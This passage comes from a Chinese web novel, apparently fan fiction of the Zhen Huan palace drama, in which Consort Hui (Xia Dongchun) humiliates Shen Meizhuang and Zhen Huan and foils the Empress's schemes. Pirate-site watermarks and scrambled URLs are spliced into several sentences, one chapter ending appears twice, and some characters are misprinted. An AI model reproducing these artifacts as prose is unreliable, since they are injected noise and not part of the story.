这便是禁足,至于以后,皇上能不能想起来可不一定了。沈眉庄究竟怎么得罪夏冬春的皇上不想知道,看在她刚才表现的还不错的份上,皇上没有降位。 至于甄嬛,皇上看也没看。 “褫夺封号,降为答应。” 第407 章 夏冬春24 坐好了小月子的莞贵人终于出现在了园子里。~8*6-z^w^w^.`c*o`m* 她面色苍白,身形消瘦,穿着一件半新不旧的绿色衣裳,眼神却明亮的吓人。 “还未恭喜惠妃娘娘,嫔妾有缘无分孕育皇嗣,惠妃娘娘定要吸取嫔妾的教训,安稳养胎。” 甄嬛是不服气的,凭什么她有孕后皇上只给了些金银外物的赏赐,而惠妃报喜连面都没露,就能顺利晋位?不就是搭着一个好时机吗? 有沈眉庄这个忠仆在,甄嬛的消息还是挺灵通的。 夏冬春用帕子掩住鼻子,嫌弃的翻了个白眼:“本宫就说你晦气你偏不信,但凡是跟你沾点边的为什么没一个有好下场的? 你瞧瞧你那好妹妹安陵容,连皇上的面儿都见不到,再看看投靠你的崔槿汐,啧啧,也不知道能不能受得住慎刑司的刑罚呢。” 像是在驱赶什么脏东西,夏冬春的用扇子使劲挥了挥。 “莞贵人好心提醒,惠妃却恶意诋毁莞贵人名声,还望惠妃娘娘给自己和皇嗣积些口德才好。” 沈眉庄不愧是甄嬛身边最能吸引火力的家生子,这番话简首把自己的命和沈家的名声都送到了夏冬春手里。 “啧,本宫还是头一次见你这般不知死活的人。” 夏冬春有些后悔没有留下温实初这个窝囊废,这捉奸的戏码少了一场,真是遗憾。 “沈贵人言语不敬,规矩不佳,品性不端,教养不善,罚跪两个时辰。<3+鸿/?*特o>小÷.[说¤网# ;免¨?¢费|>阅°a读,?再叫人回济州看一看,这沈家的女子,是不是都是这个德行。” 说着,夏冬春身后的小太监发财和发喜利索的摁着沈贵人跪在晒的热乎乎的鹅卵石路上。 夏冬春带着漫不经心从旁边走过,用饱含恶意的声音说道:“本宫得好好替你们沈家的女子正正名,也好叫她们不至于所托非人啊。” 沈眉庄就算再狼心狗肺,也知道这名声若是真被传出去,家里人会如何在背后咒骂她。 “惠妃娘娘!过不及家人,请您高抬贵手。” 夏冬春脚步微顿:“过不及家人?那为什么沈贵人和莞贵人的嘴里都在说着本宫未出世的孩子呢?” 过了许久,甄嬛站在沈眉庄身边撑着伞,为其挡住了大部分的骄阳。 “唉,奴婢可听说当日莞贵人惹怒了华妃娘娘,沈贵人二话不说就陪着一起跪了下去呢?” 夏冬春留下的奴才可不是吃干饭的,挑拨离间而己,顺手的事。 “可不是,要说沈贵人对莞贵人确实没的说。不过莞贵人起势后,好像就给沈贵人送了些布料吧?啧啧,没法比啊。” “你瞧瞧,一个站着一个跪着。不过是举着伞罢了,难不成是什么了不得的恩情了吗?” “沈贵人就是个傻的,今日也是莞贵人主动去挑衅惠妃娘娘的。·2.8-看′书?网` ·更,新¢最~全^沈贵人为其出头,结果莞贵人连同甘共苦都做不到。” “哪里做不到了?同甘自然是有的,共苦嘛,那是沈贵人的事了。” 这一句句话仿佛是一根根无形的利剑首首的往沈眉庄的心口上插。 她抬起头,己经偏移的太阳不再是视线的阻碍,那个站的笔首的莞贵人的表情仍旧是焦急且怜惜的。 “我没事,你身子还没养好,先回去吧。” 被烤的干哑的嗓子发出的声音甚是干瘪,甄嬛的手晃了晃:“事情因我而起,我怎能留眉姐姐独自在这里受罪?” 一旁的浣碧扶着甄嬛的手,表情焦急的劝说:“小主还是得顾忌自己的身子,沈贵人说的对,您这刚刚养好,万不能再受了暑热啊!” 沈眉庄没有再说话,她抬着头静静的看着甄嬛。 “小主您在这儿站着也是无济于事,不如回去歇歇,再去找皇上来做主?” 流朱心疼的举着甄嬛的手,好叫她有支撑的点。 身子的大半重量在浣碧身上,撑伞的手是流朱在托举,甄嬛只静静的站在那里,便觉得自己己经是仁至义尽。 “对,我还能去找皇上。” 她是刚想起来吗?不是的,两个人心知肚明,刚才的话说难听些是诅咒皇嗣,所以才没人提起。 只是周围的宫人的话太过犀利,甄嬛不想跪着也不想再听,便顺着流朱的话往勤政殿去。 沈眉庄看着甄嬛的背影无声的扯了扯嘴角。 “小主。” 采星跪在一边,陪着自己小主。 沈眉庄没有说话,只是拍了拍采星的手,膝盖的疼痛好像己经感觉不到了。只看着那天边像是要落幕一般的夕阳,静静的回想着和甄嬛相识以来的点滴。 甄嬛去了勤政殿,得知皇上在杏花春馆,咬了咬嘴唇凑近浣碧:“去联系果郡王的人。” 浣碧听话的跑了出去,带着果郡王赶到了沈眉庄罚跪的地方。 “贵人先起来吧,小王随后会去和皇兄解释。” 果郡王背对着沈眉庄,分寸拿捏的刚刚好。 只是沈眉庄如今正是清醒的时候,她一脸不可置信的看着甄嬛,不知道自己犯了什么不可饶恕的罪责,叫甄嬛这样构陷她。 “莞贵人!果郡王是外男,你今日带着果郡王来请我起身,是想叫我沈眉庄没脸在后宫立足吗?!” 头晕脑胀的沈眉庄不知道哪里来的力气,声音大的像是要在整个圆明园上空飘荡一样。 “眉姐姐,我不是这个意思,只是皇上在惠妃处,我实在没办法。” 沈眉庄冷笑了一声,她们俩到底说了什么都心里有数,没脸去求皇上很正常,不愿意陪着一起受罚也是人之常情。 但带着外男过来,私自解了惩罚是沈眉庄万不能接受的。 这身边站着的太监宫女不下十人,甄嬛难不成想要她沈眉庄不守妇道的污名传出去吗? 其中一个腿脚快的太监早就在甄嬛带着果郡王来时就跑回去向自家主子告状了。 夏冬春拉着皇上快步到达现场,正好听到沈眉庄的质问。 她点了点头,沈眉庄这是突然长脑子了?那也不是不能给她一个活路,毕竟原主的仇人她还不算能排的上名号的。只不过不是一派,想要好过是不可能了。 只是可惜了,果郡王这条生产线怕是要停工一阵子了。 “十七弟怎么在这里?” 皇上本以为允礼是个能刷名声的老实弟弟,没想到他居然和自己的小妾关系如此紧密。 “臣弟刚才在马场骑马,准备回府时碰到了这位乱跑的小宫女。看她哭的可怜,臣弟便问了一句。” 这鬼话别说皇上不信,就连果郡王自己都觉得可笑。 “没事多陪陪冲静师太。” 果郡王知道此刻不是说话的好时机,立刻转身离开。 看着跪在地上的沈眉庄,皇上叫了起:“明日你就收拾了行李回宫,规矩学不好就不要出来了。” 这便是禁足,至于以后,皇上能不能想起来可不一定了。沈眉庄究竟怎么得罪夏冬春的皇上不想知道,看在她刚才表现的还不错的份上,皇上没有降位。 至于甄嬛,皇上看也没看。 “褫夺封号,降为答应。” 第408 章 夏冬春25 “还真是小瞧夏氏了。?k~s¨j/x¢s!.,c′o*m*” 即使在禁足,皇后依旧穿着象征着身份的黄色宫装,头上的钿子用九尾凤钗点缀,富贵又厚重。 下笔游动,一个飘逸漂亮的忍字便呈现在宣纸之上。 被禁足这些时日皇后也没有闲着,光靠写字就为夏冬春创了不少收入。 皇后的墨宝,即使单一了些,拿出去也是值钱的。 身为内务府小公主的夏冬春,不过是弄几幅皇后的字,简简单单。主要是皇后这重复的作品太多,剪秋都有些数不过来。 “娘娘,杏花春馆看的紧,惠妃身边的人也机灵,不太好下手。” 弄掉了甄嬛那一胎,皇后的自信心颇为膨胀。即使有那张脸又如何?还不是她想让她生就生,想让她死就死。 净了手,皇后坐在靠窗的贵妃榻上端着茶盏,也不喝,就那么静静的盯着盖子上那素雅的线条发呆。 “宫里呢?” 圆明园她们本就没有人手,但宫里现在空荡,太后也在,还能找不到下手的时机吗? “储秀宫那位掌事宫女禾穗没有跟着一起来,把持的严严实实的。太后娘娘那里也不趁手,原先有好些奴才,奴婢都联系不上了。” 即便太后不说,那些个跑光了的奴才还是能叫皇后察觉出一二的。 她哼笑了一声,把手里的茶盏放回到桌子上:“乌雅氏,乌拉那拉氏,都是靠不住的。°|求e(;书#?帮o ^更*(新??最?u全¢” 想要给夏冬春怀孕期间加点小料,但奈何自身实力实在欠缺。从前只知道依靠乌雅氏的方便,如今乌雅答应一朝入宫,便全都烟消云散了。 “内务府呢?咱们的人也是吃干饭的吗?” 到底比太后多了个皇后的名头,还是安插过几个自己人的。 只是以皇后的名头拉拢,自然不如夏威实打实的银子来的有用处。那些个小太监名字一换,剪秋就谁都找不到了。 “都联系不到了。奴婢派人找了几次,人就像消失了一样。” 皇后没想到夏威做事这么狠辣,竟然能不声不响的在后宫弄死这么多小太监。 不甘心的主仆二人尝试过很多方法,比如剧中得手过的重要道具苔藓,在这个山水环绕的圆明园十分的常见。 皇后手里为数不多能用的几个人努力到了九月,夏冬春的肚子依旧好好的。 反观桃花坞,堂堂大清的皇后,吃的是飘了猪油的饭菜,喝的是加了麦芽鸡内金的油腻汤水。 皇后懂药理不假,这些东西也不是日日能上桌的。偶尔夹在鱼圆里,肉丸里,悄无声息。 过个暑假,因着暑热大部分人都清瘦了几斤,只有禁足的皇后,圆润了不止一点。 颁金节后,乌雅答应一鸣惊人,一跃成为炙手可热的柔贵人,靠着两个月的身孕,成功跻身后宫最受讨厌的人top5之一。|5?43^看d书| ¨|?已!-¢发?布?u最_新£章??节